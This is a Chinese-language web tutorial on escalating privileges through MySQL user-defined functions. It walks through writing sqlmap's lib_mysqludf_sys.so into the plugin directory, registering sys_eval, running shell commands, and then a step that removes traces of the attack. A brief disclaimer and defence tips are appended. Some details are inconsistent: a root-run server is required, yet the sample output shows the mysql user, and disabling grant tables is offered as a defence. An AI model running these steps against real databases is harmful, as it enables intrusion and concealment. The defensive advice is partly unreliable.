首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

Linux MySQL UDF 提權實戰:利用 lib_mysqludf_sys.so 注冊 sys_eval 執行任意命令獲取 Shell

     編輯:MySQL 綜合教學

UDF(User Defined Function)允許將共享庫函數註冊為 MySQL 函數。攻擊者若擁有 INSERT 權限於 mysql.func 表且插件目錄可寫,可加載惡意 .so 實現任意命令執行。**本文僅供防禦研究與滲透測試授權範圍內使用,嚴禁非法攻擊。**

一、前置條件

  • MySQL 以 root 系統用戶啟動(或插件目錄對 mysql 用戶可寫)。
  • mysql.func 表存在(5.1+ 默認有)。
  • 未啟動 --skip-grant-tables(該模式禁用 UDF)。
  • 目標 Linux 架構與 .so 匹配(x86_64/i386)。

二、實戰步驟(以 sqlmap 自帶 UDF 為例)

1. 獲取插件目錄

SHOW VARIABLES LIKE 'plugin_dir';
-- /usr/lib/mysql/plugin

2. 定位對應架構的 UDF 文件

# sqlmap 內置
ls /pentest/database/sqlmap/udf/mysql/linux/64/
# lib_mysqludf_sys.so

3. 將 .so 轉十六進制寫入插件目錄

-- 本地讀取轉 hex
SELECT HEX(LOAD_FILE('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'))
INTO OUTFILE '/tmp/udf.txt';

-- 確保插件目錄可寫(測試環境臨時放寬,生產環境需 root 權限)
-- chmod 777 /usr/lib/mysql/plugin

-- 寫入插件目錄
SELECT UNHEX('7F454C4602010100...') INTO DUMPFILE '/usr/lib/mysql/plugin/mysqludf.so';

4. 驗證導出函數

nm -D /usr/lib/mysql/plugin/mysqludf.so | grep sys_eval
# 0000000000000e46 T sys_eval

5. 註冊並執行

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'mysqludf.so';
SELECT sys_eval('whoami');
-- mysql
SELECT sys_eval('id');
-- uid=1000(mysql) gid=1000(mysql) groups=1000(mysql)

6. 清理痕跡

DROP FUNCTION sys_eval;
DELETE FROM mysql.func WHERE name='sys_eval';
-- 刪除 /usr/lib/mysql/plugin/mysqludf.so

三、防禦對策

  1. 最小權限運行:MySQL 進程用戶 mysql,禁止 root 啟動。
  2. 插件目錄不可寫:chmod 755 /usr/lib/mysql/plugin; chown root:root。
  3. 禁用 UDF:啟動參數 --skip-grant-tables(副作用:跳過所有權限檢查,慎用)或編譯時 -DWITHOUT_UDF=1。
  4. 監控 mysql.func 變更:audit_plugin 記錄 CREATE FUNCTION/DROP FUNCTION,告警異常註冊。
  5. 定期掃描插件目錄:對比已知白名單 .so 文件哈希值。

四、Windows 對應

  • UDF 文件為 lib_mysqludf_sys.dll(sqlmap/windows/x86_64)。
  • 插件目錄通常為 C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\。
  • 註冊語法相同:CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

UDF 提權屬於「後利用」階段,核心在於「插件目錄寫權限 + mysql.func 寫權限」。落實最小權限、目錄不可寫、審計監控三層防線,可將風險降至最低。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved